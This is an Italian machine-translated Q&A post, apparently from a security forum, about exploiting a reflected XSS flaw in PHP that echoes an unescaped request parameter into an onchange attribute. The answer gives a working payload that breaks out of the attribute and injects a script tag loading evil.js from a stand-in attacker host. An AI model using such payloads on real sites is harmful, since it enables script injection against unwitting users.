Il bug JS sta bloccando il payload xss da eseguire

0

Il vettore XSS è al * ma la funzione issue_type non è dichiarata, quindi il mio carico non viene eseguito.

seguente è l'istanza del codice vulnerabile: -

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, *)" style="height:30px;">

il codice attuale è simile al seguente:

echo '<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, ".$_REQUEST['issue_id'].")" style="height:30px;">';

così ho provato: -

ISSUE_ID = alert (1)

che risulta in: -

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, alert(1))" style="height:30px;">

come funzione issue_type non è definito nella pagina che il payload non è stato eseguito poiché l'attributo onchange non è stato eseguito.

Come posso modificare il mio payload per sfruttare xss?

    
posta Aayush 23.08.2017 - 15:46
fonte

1 risposta

2

Dipende molto dai dettagli esatti. Dici

the actual code is like the following:

(sottolineatura mia). Se il codice effettivo è esattamente come quello che hai scritto, l'iniezione XSS è very facile. Il motivo è perché l'errore javascript non ha importanza. Non importa, perché puoi sfuggire completamente al contesto dell'attributo HTML e iniettare direttamente i tuoi script. Potresti immaginare un carico utile come questo:

http://www.example.com/vulnerable-page?issue_id=1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

PoichéPHPstaemettendodirettamentelatuarichiesta,haiilpienocontrollosullapaginafinale.Inbreve,1)"> serve a chiudere il tag select. L'html effettivo finirà come:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

Il bug rimane ancora lì, ma invece si arriva direttamente all'iniettare un file javascript sulla pagina, che è tutto ciò che serve. Se l'utente dovesse modificare il valore selezionato, ci sarebbe un errore javascript, ma il codice verrà eseguito al caricamento della pagina, quindi non importa.

    
risposta data 23.08.2017 - 20:17
fonte

Leggi altre domande sui tag